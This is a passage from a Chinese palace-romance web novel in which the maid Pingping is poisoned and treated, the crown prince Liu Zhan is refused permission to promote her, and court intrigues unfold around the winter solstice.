而且她是呕血，不是那种妇科血崩。 萍萍不动声色谢过女医，让夕照送女医回去。夕照回来后不放心，仍守着她。没一会姚书云过来偷吃，夕照立马竹筒倒豆般讲述前因后果，愁道：“女医说躺躺就好，可是床上躺了就能好，要郎中作甚么？银照这可怎么办？” 姚书云闻言询问萍萍：“你躺了会，有好些么？” 萍萍脑袋碾着枕头摇：“没有，感觉越来越难受了，前胸这里像要爆裂了似的，可女医也束手无策。” 姚书云见她语气虚弱，脸色苍白，咬了下牙，掏出自己的司膳牌交给夕照：“你去延福殿找淮西安抚使姚拱辰，找不到就挨个问，他是我哥哥，应该还在宫中。你就说我病了，东宫司药司没有看好，让他想想办法。” 夕照点头：“好。” 她从前做世家女婢，天天帮娘子求主母，求郎君，倒特别会办寻人的事。不到一刻钟就在路上堵到姚拱辰。 照姚书云吩咐的一说，姚拱辰旋即变了脸色，他晓得宫里只会比后宅更龌龊，立刻差跟随进宫的贴身长随去太医院请人。 过了会，长随领着位年轻太医小跑过来，同姚拱辰对了一眼，道：“帅臣，太医院这会没多少人，刚好这位韩太医在，就请来了。” 姚拱辰朝那太医拱手：“有劳韩太医了。” “举手之劳，还请帅臣前面引路。” 一行人低调，从角门入东宫，听夕照说姚书云在里面，姚拱辰便以为眼前就是姚书云的厢房。太医为女眷诊脉，理当悬丝隔屏，姚拱辰便打算自己先进去一趟，安排妥当后再邀太医：“某先进去一趟，太医稍候。” 太医躬身：“帅臣且请。” 姚拱辰独自随夕照进屋，姚书云久候，见面就唤：“阿兄。” 姚拱辰定定打量她：“书云你是不是胖了？”他瞟一眼床上，立刻明白过来，面露愠色：“不是你生病？” 姚书云屈膝：“阿兄，求你救救银照！” 姚拱辰再次眺向床上，面沉如水：“她叫什么？” “银照。” 他想起来了，这就是太子去寿春带的那个女人。 姚拱辰没好气瞪书云：“出来说话。” 姚书云垂首乖乖跟出房，一到门外她就快嘴央求：“阿兄你从前教导我，有力者疾以助人，一善可当百善。” 姚拱辰盯着妹妹，又好气又好笑，她竟拿话堵他？ 这床。上女子他眼熟面善，若是寻常人就救了，可她是殿下正宠的女人，这一件是顶顶最重要的，良心善意都要先放一边。 “你可知道她是谁？她是殿下幸过的女人！” 书云将来是要做皇后的，这个什么银照是敌非友。 姚书云低头：“我知道。” “你糊涂！” “求阿兄救救他吧。”姚书云拉住姚拱辰袖子，“我当银照是姐妹，那她便也是阿兄的妹妹。” 姚拱辰静静注视书云，他这个妹子寻常都很迟钝，只对上心的人事伶牙俐齿……想到这，姚拱辰已自心软三分。 又思忖，将来柳湛后宫注定女人不断，书云需要同盟，可以借这个人情拉拢银照。 再则，他妹妹太瘦了，他也是近几年才知道，过瘦的女人不好生养，那银照丰腴，以后生了皇子可以抱到书云身边养。 姚拱辰的幺儿就是正妻抱的妾生子。 三番考虑，他已经拿定主意救人，却不急于表态，直等到夕照哭着跑出来：“书云，银照又吐血了。” 书云又摇他：“阿兄，求求你了！” 迫在眉睫，姚拱辰才松口：“好吧。” 越救急他人才会越感谢你，他不遗余力给姚书云铺路。 姚拱辰下巴朝夕照点了下，命道：“你，和太医进去。”然后手扣住姚书云手：“你留在外面。” 让夕照进去，是因为殿下对银照正在兴头上，不能让她和太医孤男寡女相处；不允书云进去，是因为不能让书云参与太多，这样事如有不对，妹妹好断尾脱身。 夕照压根没多想，挥动手臂：“太医您快跟我进来！” 姚书云却在夕照旁边问：“阿兄你认识这位太医吗？” 这韩太医是姚家在宫中的内应，姚拱辰以为是妹子生病，自然要用信得过的人。 但这会姚拱辰却没好气道：“还说，一听说你病了就去请，刚好这位韩太医在，虽然不认识，但仍愿意来救人。还不谢过韩太医？” 姚书云和夕照听见都朝太医拜了一拜，韩太医忙道：“从前不熟，现在开始认识了，娘子们都不必客气。” 夕照跺脚：“别光顾着在这说啊，太医，快进去看银照！” 说着竟上手挽住韩太医胳膊，将他拽入房中。 韩太医进门就转身，沉声道：“拉屏风。” “这哪里有屏风啊！”夕照快哭了，萍萍都已经吐得晕迷。 韩太医又道：“落帐。” 夕照手忙脚乱解开两侧床幔，不仅落下了，还都往褥子里扎紧，只露萍萍一只手，从帐内钻出，空悬在床外：“这样行了吧？” 韩太医先瞟一眼，才转身，拉张凳子坐下，悬丝诊脉，过了会开始翻腾药箱：“等她醒来，我有几句话要问……” “那她几时醒来？掐人中能醒不？” “你等我把话说完嘛！”韩太医数了六颗米粒大的丸药倒给夕照，“这个喂她含着，一会就能醒。” 而后，他低头，逐一开始抚平襕衫上的褶。夕照急得在房中走来走去，脚步声不停。韩太医眉毛挑了挑，很想给夕照配一副降火安神药，副作用是迟钝呆滞那种。 他闭眼，吸气，算了，多一事不如少一事。 夕照也在偷偷打量韩太医，他看起来年纪不大，不会超过三十岁，到底行不行？ 她走到第十个来回时萍萍睁眼，夕照即刻奔去床边：“你醒了？吓死我了。” 萍萍缓缓看向夕照，接着又和韩太医眼对眼，他等她缓了会，彻底清醒，才开始问。 晓得前情，开门见山：“银娘子，你的避子汤是几时喝的？” “今天早上，不到午时。” “今日除了避子汤，还喝过什么？吃过什么？” 萍萍想了想：“我吃了后厨的早膳，喝过桌上的水。” 韩太医起身就摸壶耳，正要说这事好办了，就听萍萍补充：“当时口渴，全喝光了。” 韩太医手一滞，撇了下嘴，收回手又开始翻药箱，捣鼓出好些瓶瓶罐罐并一柄透镜，而后才打开壶盖，先放药剂，而后镜子照着捉虫般找起来。 半晌，韩太医放下手中物，一拍巴掌：“成了。” 他转身问萍萍和夕照：“今日你俩有没有同时离开过这里？” 萍萍：“有。” 夕照：“没有。” “有、有！”夕照改口，看向萍萍，“泼水那时候，我俩一起回来……你去哪了？” “有位姐姐喊我帮忙，搬菊花去披芳殿。”萍萍努力回忆， “她说她是司苑司的兰熏。” 韩太医深吸口气，甩下众人推门与姚拱辰眼神对视。 姚拱辰会意，抬腿要迈进房内，姚书云挤他一下，明显也要进来。 姚拱辰先瞪妹妹一眼，而后允了。 待众人都进来后，韩太医关紧门，再次无言对视姚拱辰。 姚拱辰缓慢颔首，无人偷听。 韩太医这才指水壶：“帅臣，不是避子汤的原因。是有人在银娘子的饮水里下毒。” 姚拱辰心陡一沉，错了啊，这个人情不该接的……骑虎难下，他扭头埋怨书云：“你把你阿兄架在火上烤。” 原先以为就是避子汤事，打算隐瞒柳湛做私下人情，这会生变，姚拱辰掂量权衡后下令：“先救人。” 韩太医便起笔给萍萍拟解毒方子，姚拱辰带上长随，去若阵风：“此事要速报殿下。” * 延福宫，重阳宴罢，众人四散，官家亦回福宁宫。 他离去偏晚，今日只在宫中行走，用的小驾，内侍和金吾卫不过四十余人，黄麾也从旧例的大仗改为半仗，一切从简——又再次成为天下表率。 小驾悠悠前行，官家眯眼，上年纪后虽然瞧不清近处，但眺远还行，那步行的一众仪仗，不是明仁宫的么？ 皇后竟然步行。 官家便让仪仗赶上皇后，皇后见了，停在路边行礼。 官家不走，含笑俯瞰她。 等了会，皇后自己请辞往前走，官家跟着，皇后又停下来等官家先行。如此两、三回推拉，皇后终于说了句不得体的话：“路就这么宽，一起走挤踏花！” 官家放声大笑。 他今日瞧见皇后走路的样子，不知怎地想起她刚进宫那会，也是这样走，他唤住她，她离开转身奔进他怀里。 那时她多年轻呀，颊上还有肉，眼睛水灵，能清澈倒映一个完整的他。 官家捉弄了会，虽容颜和青春不复，但得到一句皇后年轻时才会讲的话，还是十分满意。 官家竟命内侍降撵，与皇后一同步行，只他俩在前面，后面人皆不敢跟。 官家凑近皇后耳边：“现在没挤着花了吧？” 皇后不理，朝前又快走了一大步。官家哄人讲究度，过犹不及，他瞬间垮脸：“你还在闹什么，凌家母子都没了，还不解气？” 皇后垂眸低语：“臣妾总是记得那一年娑罗奴和传道同时奔去，陛下抱起传道，将娑罗奴晾在一边。” 官家心中冷哼，那都多早以前的事了，抱又如何？ 再说，那时他和凌范氏还没什么，真不清白也就四年前那一回——为此不得不许凌传道肥差。 由此与凌家生了芥蒂，前些日子才解。说来还是皇后替他谋划，寻着由头。官家想到这重新对皇后和颜悦色：“好啦，晓得娑罗奴是你手把手带大，舍不得他受委屈。彼时抱错，是朕疏忽。” 话头终于快引向皇后所忧之事，她不动声色，手抚过菊花：“说起来娑罗奴这趟带回来的女人，陛下知晓吗？” 官家颔首。 皇后看向官家：“陛下真的知道吗？” “同一个嘛。”官家不以为然，“担心什么，他下了一趟扬州都没想起来。” 皇后却在担心宫外那条追咬的疯狗，倘若当初晓得他是条赖皮狗，是粘了手就甩不掉的鼻涕虫，断不会找他办事。 皇后噘嘴，罕见地向官家撒娇：“臣妾还是不喜欢她——” 一个她字酥酥麻麻转好几个声调。 官家就爱这个味，当即笑允：“要怎么样随你。” 一个宫婢在他眼里，和鹦鹉锦鲤、瓶子桌子，这一盆盆菊花无甚区别，甚至份量还不及他那只狸猫。 “那说好了，陛下依我？”皇后压肩仰头，夹了嗓子。 官家满目爱意：“依你都依你。” 眼看近皇后的明仁宫，官家却不说进去坐坐，更不提晚上留宿——她表情生动，但到底是老了。 官家已经决定今晚幸郑美人，那是个单纯的小姑娘。 皇后亦未开口挽留，近明仁宫便与官家道别。官家自摆驾回福宁宫，一进殿就下令：“叫太子来。” * 东宫，书房。 教以义方的匾额下，独坐的柳湛缓缓合上吏部卷宗，而后不假人手，自己研起墨来。 他打算册封萍萍做东宫奉仪，这份位比御侍高，奉仪及以上要得官家应允，待墨研好，柳湛铺开一本崭新的奏章，提笔讨封，开头四字：润州方氏。 方才已经查妥，朝中曾有一个润州籍的方姓著作佐郎，年岁做萍萍祖父刚刚好，就是品阶低了点，所以接下来要写好话：润州方氏，颖悟庄重、品貌出众，吾甚悦…… 一个“之”字还未落笔，袁未罗就在门外报：“淮西安抚使姚拱辰求见。” 柳湛搁笔，奏章上黑墨未干，却也只能合上盖住。 待会重写吧。 “宣他进来。” 姚拱辰风风火火走进，刚才路上已经想好，应该开门见山，绕弯子殿下反而会多心。于是，姚拱辰开口就将萍萍中毒一事交待。 柳湛闻言抬步，脚往萍萍厢房所在方向走，姚拱辰追着柳湛转身：“要去查一下司苑司有没有一个叫兰熏的吧？阿罗有空吗？” 柳湛合唇开门，他猜多半没有。 袁未罗没听见之前的房中对话，只听见开门后这一句，当即应声说去查，和他一道伫立门外的蒋望回却插话道：“没有兰熏。” 他身为禁卫，背完了东宫名册，司药司多兰字辈，但无兰熏。 姚拱辰抿唇，不爱落蒋望回后，于是分析：“那看来是看见端着花，临时想了个名字。” 柳湛脚跨过门槛，早自定夺。那个宫人不是东宫的人，倘若对方提前藏死，不容易追查。不如从女医工下手，十几家皆在东宫安插内应，尤其司药司最多，柳湛平时看破不说破，有时事需，还会将计就计故意透露假消息给那些眼线，好用得很。 等萍萍身体好些，对一下哪位是恶意胡诌，说她喝避子汤喝的医工，就晓得是谁要害萍萍。 她知道是避子汤了！ 柳湛像是如梦初醒，此刻才突然意识到，脚下一绊，止步。 福宁宫的黄门碎步跑近书房，在门口就行礼：“殿下，陛下宣召。” 蒋望回和姚拱辰齐刷刷看向柳湛。 第74章 第七十四章 攀骄柳，上高台 柳湛沉吟须臾， 道：“正好，孤也有事要请奏父皇。” 他命众人先退出去，重翻开讨封奏章， 运气好竟没洇墨， 可以直接续写。 事毕揣入袖袋， 去往福宁殿。 进殿三叩，官家允了平身，笑问：“今日宴上， 后来怎么没见你人影了？” “儿臣身体不适， 提前离席，”柳湛拜道， “忘记向父皇告假，是儿臣的错。” “现在好些了吗？” “谢过父皇关心，已无大碍。” 官家颔首：“那就好，朕还想着让你替朕去永安祭陵。” 柳湛抬头，永安县护本朝皇陵，官家自登基以来都是亲自祭祀，怎么这回却让他代职？ 官家俯首， 与之对视。 官家少年时曾被批命， 说他五十五岁有一大劫， 如能挺过， 寿元过百，如果挺不过去，此世便如此了。 彼时他年轻气盛， 压根不信，不拜神佛，登基后自诩真龙， 愈发坚信命由己控。然而这两年身体陡然直下，看会奏章就 花眼，下雨会骨痛，夜里连着幸多了，亦腰疼疲软，最令官家焦忧的是今年足底莫名溃烂，大半年怎么敷治都不见好，他开始想起少年时那句批命，心生畏惧。 不信命的官家，第一次看了自己的龙命生辰，发现明年五十五岁交换大运，逢岁运并临，且干支皆是忌神。 不好便不准，官家这样想着，换看紫薇，明年却亦是太阳落陷化忌，又有本命忌对冲，大小二限逢。 再看政余，明年罗睺计都当值。 钦天监亦报近来帝星忽闪忽暗，官家愈发忌讳，六爻和奇门已不敢占。 他私下找来不少巫医、僧道，皆道养猫祭陵可以化解。猫是养上了，但祭陵隆重折腾，一直拖着没去，直到今日一场重阳宴，聚到一起的朝廷和宗室的老翁，耄耋矍铄，刺痛了官家眼睛，凭什么有些人同样岁数亦或更老，身子骨却比天子健壮？他是真龙，天下独尊，寿数也必须最长。 官家疑神疑鬼，不敢亲自离京，放任太子监国，所以遣柳湛祭陵。 官家直视柳湛的眼睛，笑叹：“朕老啦，腿脚不好爬不动了。” 皇陵尤其是高祖陵，有九十五级高阶，哪怕是官家，也不能乘舆轿，必须两足亲登。 柳湛躬身，睁眼瞎话：“父皇身体健硕，正值形盛，今时和岁丰，愈是延年益寿。” 官家一笑，虽知是假却颇受用。 柳湛又道：“儿臣今日回去后就准备，祭陵之事必定善始善终，不负父皇所托。” 官家点头：“嗯，没别的事就先退下吧。” 柳湛却从怀中掏出奏章，双手恭呈：“父皇，儿臣还有一事请奏。” 内侍接了奏章转奉官家，官家一打开，旋即往下一扔，本来想掷柳湛面门，奈何力不如从前，落在柳湛脚前一尺处。 柳湛微微诧异，奉仪而已，何以如此愤怒？ 旋即联系下毒，心骤下沉。 官家道：“太子妃尚未册立，你就纳这来路不明的民女，叫天下人怎么看？起何表率？” 柳湛心道册封诏书上不会来路不明，他已为她挑好出身。 但心里门清官家针对的并非来路，柳湛不辩，默不作声。 官家咄咄训斥：“是不是当了太子，就可以肆无忌惮？今日纳行院，明日抢寡妇，大后日玩太监？怎么，不说话了？是不是心里还想立这方氏当太子妃？” 柳湛却想，莫说本朝有过娶寡妇的皇帝，就是官家自己也做过更出格的事。 太子不能做这些，会被天下人耻笑，天子却可以做这些，悠悠众口，无人敢笑。 一座大宝，两种境遇。 官家一番话似乎只当他是太子，仅止太子。 柳湛不由深想，心愈阴鸷，面上却恭谦，头伏至腰：“儿臣从无此类想法。” 缓了缓，续道：“父皇谆谆教诲，良苦用心，儿臣已经明白。父母为子女则为之计深远，是儿臣一时顽劣冲动，辜负了父皇期盼。” 临了几字已声哽咽，抬头仰视官家时，两眼薄红。 官家不忍，叹道：“算了，只要不又上奏讨封，朕眼前清净，私底下你要想宠就宠吧。” 柳湛旋即接话：“陛下金口玉言，是不是只要不册封，就能允她平安？” 官家定定看着柳湛。 良久，官家沉声：“朕身为天子，自然一言九鼎。” 心中却轻嗤一声，娑罗奴又想要大宝，又想要真爱，天底下哪有这种两全其美好事？倒不如像他，一条路走到底，从不后悔，便不会郁郁寡欢。 * 东宫，小院。 萍萍喝完韩太医开的药，立竿见影好了许多。 夕照自告奋勇去洗药罐收拾炉子，房内剩下萍萍和姚书云，萍萍能坐起来了，手撑着笑：“姚娘子，这回多亏了你，感激不尽。” 姚书云眼珠转转，似乎想坐床边，萍萍忙用手捋平床沿的被褥，姚书云坐下后道：“你是得谢我，为了你，阿兄都发现我胖了。”又道，“你靠着床吧，没费劲。” 萍萍缓缓靠向床头，笑道：“这回也要多谢帅臣和韩太医。” 姚书云瞅自己鞋尖，沉默了会，才低声问：“你……可曾听过一些传言？兴许就是因为那些……你才中毒。” 萍萍微怔，什么传言？ 关于自己的吗？ 她听到过：“是说我妄攀殿下吧。” 有背后议论，院子里人听见传回来的，有当着她面讥讽的，还有使绊子穿小鞋的——她之前没意识到，直到被泼了那盆水…… “是，”姚书云抿了抿唇，攀附殿下，妄图一朝登天之类的非议，连司膳司那边都嘀咕不少。 姚书云说不出口糙话，只讲最含蓄的：“说你攀骄柳，上高台。” 姚书云突然联系自己，被家里送进东宫，不也想她攀附殿下？ 她顶替蒋娘子那晚，阿兄高兴得睡不着，仿佛这样就赢过蒋家。 为免节外生枝，姚书云不提自己，只劝萍萍：“别攀高了，高处不胜寒，很容易身不由己的。” 萍萍缄默：好像是从重逢那一刻起，她就一直在攀，攀着官人相认，攀着相守。 可她不是因为他高高在上才去攀的，她攀的是她的官人，是阿湛，从来不是那高高在上的身份，那个天姓。 良久，她启唇：“我只想和他做一对寻常夫妻。” “殿下是太子，怎么可能寻常啊？” 萍萍闻言双眼含泪看向姚书云：书云说得对，其实她也明白，也懂的，可就是控制不住，执拗地要把他当民间夫妻。 身不由己，可心也会不由己。 还是会克制不住喜欢他…… 萍萍想得心疼。 目光交错，姚书云恍觉萍萍像只被蛛网粘住的蝶，扑腾翅膀却无力脱身。 她也帮不了，静默了会，只能安慰：“我懂，因为我也有喜欢的人。” 萍萍睁大眼，姚书云指放唇上：嘘…… 萍萍粘紧双唇。 “你们在聊什么？”夕照回屋，煎药的炉子怕人拿走，清理完仍提回来。 姚书云不答，反问夕照：“你右手拿的什么？” 萍萍则抹了把眼，重绽笑意。 夕照放下炉子，将右手上的帕子打开，里面还是帕子：“我家娘子近日绣的手绢，托人送来的，有四、五条呢，分你们一人一条。”她先给萍萍，要给姚书云的伸手又缩手，攥着帕子讲丑话：“姚娘子，你是见过好东西的，可别笑话。” 姚书云伸手夺过夕照手上帕子，绫锦院的料子不会差，白绢右下角一簇苔花，背面一样，再看其它几条也是：“怎么都是苔花？” “她入宫前叫苔花儿。” “对，但我在册子上叫金苔。” “那你入宫前叫什么？” “我叫萍萍。” …… 仨女说了好一会话，不乏嬉笑逗趣，最后还是姚书云说：“好了好了，银照还病着，让她多休息。” 说话也消耗精力的，所以她不常说话。 这才歇了，姚书云和夕照刚退来，就瞥见院门那边，柳湛踏入，身后跟着袁内侍。 二女行礼，齐呼“殿下”。 柳湛看一眼房内，正要询问，姚书云道：“银娘子已经睡着了。” 旁边的夕照一愣，不是，不才刚刚躺下？ 柳湛闻言仍往前走，姚书云见状福了福身，告辞，夕照也跟着要走远，柳湛指向夕照，用极轻的声音下令：“你留一下。” “什么？”夕照没听清。 他怕吵醒萍萍，依旧低轻：“你留下。” 这回听明白了，夕照站定。柳湛再往前走三步，无声拉开一条门缝，床帐垂落，什么也瞧不清。他静静等了会，风掀起一角，萍萍背着身，朝里侧卧。柳湛目不转睛，床帐却即刻落下。 柳湛蹑手蹑脚关好门，同夕照轻道：“你随孤来。” 路上，虽然他已从姚拱辰和韩太医那了解过病情，依然询问夕照：“她怎么样了？好些了没？” 夕照有一答一，如实告知。 柳湛听完，沉默不语。 直走到东宫司药司，蒋望回已将出入口全部封锁，全司上下的女官、宫人扣留列阵，无一遗漏。柳湛径直坐到司药的交椅上，沉着脸吩咐夕照：“认一下，哪位是你上回请的医工。” 夕照挨个瞧过去，本来女医那张脸自觉记得清晰的，现下却生出紧张，反而模糊。 夕照在方阵里穿梭了两个来回，才拿定主意，指认那名女医。 “确定是她？”柳湛准问。 “是！” 柳湛挑了下眉毛，旋即有禁卫将那女医拖出，一路擦地，女医泣声高呼：“殿下冤枉啊，奴冤枉！” 柳湛上身靠着椅背，挑起眼皮审视，这女 医面生，竟不是司里那几位已经查清的内应。 他抬手，无需多言，自有人替太子审理，内侍禁卫轮流交替，软硬兼施，女医却始终咬定自己只是医术昏聩，误诊，绝无他人身后指示。 柳湛听了良久，缓缓起身，那审讯的禁卫旋即问：“殿下？” “先暂收监。”柳湛丢下一句话，转身出门，禁卫则往女医嘴中塞进一枚硕核，防止她咬舌自尽。 门外，天蒙蒙亮，柳湛抬手嗅了下袍角，虽然没有亲自动手，但衣裳上仍沾了血腥味。 他沐浴更衣后，才再次去找萍萍。早晨橙红的阳光投射在院中的青石板上，夕照双手端着个木盘，正从后厨那边走来。 柳湛瞧见，快步走向夕照，同时瞥向盘中，一碗七宝素粥，一小盘玉灌肺并一碟咸菜，柳湛问：“早膳？” 夕照点头。 柳湛接过木盘：“你退下吧。” 他亲自端着早膳往萍萍门边走，单手托稳，另一只手推开房门，还未瞧见房内萍萍，就已旋起春风般的笑意。 萍萍正坐桌前，以为来的是夕照，笑抬起头：“这两天真是辛苦你了。” 见是柳湛，笑意骤敛，酒窝消失不见。 柳湛自知这辛苦不是对自己说的，柔声轻问：“好些了吗？” 萍萍不答。 柳湛滑了下喉头，一样样布菜，先摆勺托筷架，再摆瓷勺、竹箸，而后将七宝素粥放到桌上。他正端起灌肺要摆，萍萍倾身自行捧起素粥并舀勺，要喝，柳湛忙劝：“你歇着我来。” 他是打算亲自端粥给萍萍的，要他一勺一勺喂也不是不可以。 萍萍却道：“不敢接殿下递来的碗，怕又是一碗避子汤。” 柳湛噎了下，谁敢这样呛他？也就她。 能让他为了她的事一宿没睡，还巴巴地赶来受气。 柳湛凑近赔笑：“上回走的时候说下回再来看你，是孤不对，拖了这么久才来。” 萍萍心里一酸，忍住，硬起心肠喝粥。 柳湛不多言，默默将剩下的灌肺和咸菜摆好：“这灌肺说是肺，却无荤腥，用粉面调油，混茴香胡桃，就粥最好喝。” 他说着将灌肺碟往萍萍右手边推了推。 萍萍恍若未闻，继续喝粥，柳湛不再言语，只在她对面坐下，微笑注视，目光始终胶在她脸上。 第75章 第七十五章 抱琴弹向雪中梅 等萍萍吃完了， 柳湛才温言细语：“知道你在生我的气。是我瞒你，该生气，该不理我。” 萍萍听得眼酸， 盯吃完空空的粥碗。 很想关心他也用过早膳了吗？却心知肚明不能巴巴上赶， 咬紧两排牙。 “可是那下毒的元凶还未查到， 需要你帮助才能得到线索，”柳湛往她那边伏低身子，央道， “别的话你都不要理我， 能不能答一句，那日你搬菊花去披芳殿， 都遇见哪些人？说过哪些话？” 萍萍倒着回忆，先说披芳殿守门的内侍，然后讲中途遇到皇后娘娘，想到皇后是柳湛娘亲，忍不住看了他一眼，柳湛终于迎来对视，面上瞬亮。 萍萍赶紧低头。 她再倒推， 讲述自己询问宫人名字、花名， 最后讲宫人急匆匆闯进院中， 毫不客气让她搬东西。 讲完盯着桌上， 她有个怕浪费，光盘的习惯，一碗两碟都精光， 再干净一点可以照镜子。 半晌，不闻柳湛回应。 萍萍小声强调：“我讲完了。” “瑞云殿是我最喜欢的菊类，”柳湛轻叹， “这话我之前从来没告诉过谁。” 萍萍抬首，另起话头：“你现在能推出是谁给我下毒了吗？” 柳湛勾了勾嘴角：“是皇后。” 萍萍杏眼立马张大：“那给你下药的呢？” “也是皇后。” 她内心震撼，一直乱跳，柳湛却在这时缓缓搂过来，笑道：“你和我说了好多话了。” “我要歇息了。”萍萍推她，他竟真的松开，萍萍站起身，“韩太医说要多躺多睡，什么都不要想，才恢复得快。” 柳湛却突然将她打横抱起。 “你做甚么？”萍萍踢他，“放我下来！” 他任由她踢，抱到床上宽衣盖被，捂好被子才回：“遵医嘱。” 他目光在面上流连，叹口气：“我也希望你早点好起来。”一挥手，落了帐子，自行退到房外。 柳湛回书房时，蒋望回正等在门口，对视一眼，柳湛进门，蒋望回也跟着跨进去。 门一关紧，蒋望回就埋首禀报：“音和今日已自请出宫。” 柳湛启唇，声音无甚感情：“你办妥帖就好。” 蒋望回再次躬身：“音和调去不久，司酝司内闲聊，就有人提及胡僧丸。那胡僧丸入药膳的食谱更屡次出现在音和面前。 ”他再拜深些，“属下不是为舍妹开脱，的确是她意志不坚犯下大错，但属下怀疑……有人从中教唆。”蒋望回面露愁容，“至于是谁，暂时还无头绪。” 柳湛不置可否，只道：“希颜，你去办一件事，应该须月余布局，务必慎重。” “属下但听差遣。” 柳湛慢慢踱到蒋望回身边，附耳低语。交待完，蒋望回离开，柳湛拾起桌上有关祭祀的公文——官家金口一开，他这边要忙前忙后，祭祀皇陵滋事体大，林林种种，涉及礼部、工部、察院、太常寺、光禄寺、鸿胪寺，翰林院及钦天监，沿途各地部署。 等柳湛置身永安祭陵，已是冬至。 鸣铳过后，万籁肃静。 “气序流迈，时维冬至，追念深恩，伏增哀感，谨用祭告，伏惟尚享。”柳湛举杯洒于后土上，点点滴滴。 猎猎风萧，旌旗鼓动，他祈愿国祚绵长，又愿自己将来雄才伟业攀比高祖。 一众长案后，高祖邵陵已与苍山融为一体，柳湛突然想到这是高祖同其皇后的合葬墓，脑海中浮现萍萍笑靥，竟与之前那俩愿望一样心潮澎湃。 风吹草倒，柳湛忽觉脸上凉意，抬手一抚，雨点中夹杂雪籽。 皇陵，下雪了。 二百余里外，汴京城早已雪纷纷。 京师人看重冬至，再穷这一天也要穿新衣裳。街市上卖着韭黄、兰芽、胡桃。大相国寺的僧人做浴佛会，等着杨枝洒浴，求赐吉祥的百姓不顾寒天地冻，排起长队，直绕到栅栏后面去。 队伍中有位白胡子白发老翁，驼背拄拐，正是乔装改扮的裴改之。 他偷瞄环视，远处卖韭黄的老妪，寺门口念佛的僧人，还有方才进寺上香的一对年轻夫妇，脚下都有功夫，眼睛皆如鹰隼——六年前他就吃过这亏。他和皇后约好，他替她办事，她将萍萍送给他，冬至那日大相国寺交人。 他办完事身上的血都来不及洗，星夜兼程从扬州赶回汴京，迎接他的却是皇后的天罗地网，灭口绞杀。 今日也是冬至，看起来皇后依然不打算兑现承诺。 裴改之缓慢勾起嘴角，毫不掩饰脸上讥讽笑意。 裴改之转身离队，排他后面的婆子旋即问：“唉，你不排了？” 他混迹队伍许久，前后谈话皆有听到，知道他们所有为何。裴改之扭头眺看那婆子，讥笑道：“浴再多圣水上再多香，你家织工女儿依然不可能嫁给王孙公子做正妻。” “你、你……”婆子懵成结巴。 排裴改之前面的男子听见，也愣住了，裴改之又转身呛他：“你再拜佛磕头，明年卖包子也挣不满二百两，除非重新投胎。” 裴改之 说完就走，众人过好一会才反应过来：“你、你这人怎么这样？” “大过节的咒人，招你惹你了？” “疯子！” 裴改之听着背后叫骂，一脚深一脚浅踩在雪地，笑意愈浓，自己说得没错呀，若是那小贩投胎成公侯世子，二百两勾勾手指便得便花。 那婆子的女儿得重新投胎，成世家嫡女，才能嫁公子王孙。 裴改之往深处踏雪，心比冰寒，之前以为自己和太子的差距不过皮相，努力拉近，却原来是游鱼和蛟龙——池中的小鱼拼命前游，年复一年，自以为游出好远的路，蛟龙轻飘飘一跃，就越过小鱼头顶，超过它。 他和那群人差的是投胎呀！ …… 冬至，宫里也热闹，宣德楼竖起盖天旗，所有宫人都分到热乎乎的糍糕。 宫苑梅花已尽数盛放，红白相间，幽幽暗香。司苑司的宫人剪了最逎劲的几枝插进长颈瓶，摆在寝殿里。 萍萍和夕照早晨进殿铺床，没瞧见太子，只有司苑女史们和一位司设司的掌设在忙活。 掌设算萍萍和夕照顶头上司，她们行了礼才往床边去，虽然太子早已离开，但地龙和炕皆旺，被褥依旧热乎。 现在不仅萍萍，连夕照也非常娴熟这份差事，铺设打扫，转眼干完，和萍萍一前一后经过花几，就要退出寝殿。忽听哐当脆响，萍萍低头去看，花几上的长颈瓶摔在地上，碎成数片，连白梅也跌出枝头。 夕照走在前面没瞧见，后面的萍萍却亲眼瞅着，是同司的掌设推了下花几，花瓶才跌落。萍萍疑惑抬头，正要看向旁边掌设，忽觉脸上热辣辣，清脆一声啪。 那掌设竟然扇了萍萍一巴掌。 萍萍毫不犹豫抬手回扇，同样响亮一巴掌，声音在殿内回荡。 她从前做苦活，手劲比掌设大得多，掌设颊上旋即泛出红印，人被打懵，愣了会才再扬手：“你这贱蹄子敢还手——” 这回动作不及上回快，萍萍还有防备，哪会允她得逞。萍萍捉起掌设手腕，将那只扬起的手牢牢定住：“你作甚打我？” 夕照也走回来帮腔：“就是，凭什么打人啊？” 布置花艺的司苑司众女史也全围过来。 那掌设理直气壮：“你打碎了殿下的花瓶，依法处置，合情合理！” 萍萍杏眼圆瞪：“明明是你打碎的。” “就是，肯定是你打碎的。” 掌设不瞄萍萍，反而对视夕照：“你说我打碎的，可有亲眼瞧见？” 夕照没瞧见，又不会撒谎，一时狂眨眼睛：“有、有，当然有。” 掌设冷笑，扭头问左右女史：“大家都是长两只眼睛，能辨忠奸的，你们觉得她说的是真话吗？” 女史们不知道谁打碎的，但只看夕照反应，明显撒谎，心里便都有些偏向掌设。 “我瞧见了。”萍萍朗声，斩钉截铁。 “你？”掌设捂嘴笑出一声，“你瞧见那是贼喊捉贼！” 女史们虽然更倾向萍萍打碎，但都没有表态，一行人闹到尚寝那里，尚寝竟不问青红皂白判萍萍过错，罢了她和夕照的差事，双双罚关禁闭。 萍萍和夕照一直申辩，尚寝却命人将她俩撵出去。 萍萍和夕照站在门口不肯走，不多时，掌设得意洋洋跨出来，她竟领了尚寝命令，携四宫人要押解萍萍和夕照回房。 萍萍摆了下身，不允宫人碰她：“我自己会走。” 掌设满不在乎点头，路上，她在萍萍身边轻飘飘笑道：“我要是你呀，这么丢脸，早一头撞死了！” 夕照听见，马上挽住萍萍手腕：“别听她的！”她对着萍萍耳朵叮嘱：“你要真想不开就中计了。” “我不会的。”萍萍也附耳和她说悄悄话，掌设的话在她心里比一片雪花还轻，根本没有重量。 她没有多少记忆，却记得两句诗：周公恐惧流言日，王莽谦恭未篡时。向使当初身便死，一生真伪复谁知？ “关禁闭就关禁闭，又不会掉一块肉。”她同夕照笑说。 “就是。”夕照点头，自己只怕打板子。 到了房门口，夕照非要和萍萍关一间房，萍萍来不及商量，房门就关闭。 夕照挽着萍萍胳膊：“别担心，殿下那么宠你，肯定很快就来主持公道。” 她觉得最多几个时辰就能出去。 所以关在一起比较好，互相照应。 * 柳湛下朝回来后，尚寝才来求见。 他一般不允女官进入书房，只在偏殿召见。 尚寝上前，盈盈下拜，竟不提萍萍摔瓶被罚，反而无头无尾道：“殿下，事已俱妥。” 柳湛吩咐：“今日又比昨日冷，她房里的地龙要烧热些。” 尚寝一怔，宫婢的居所没有地龙。 但她不会指出太子错误，恭顺应声：“是。” 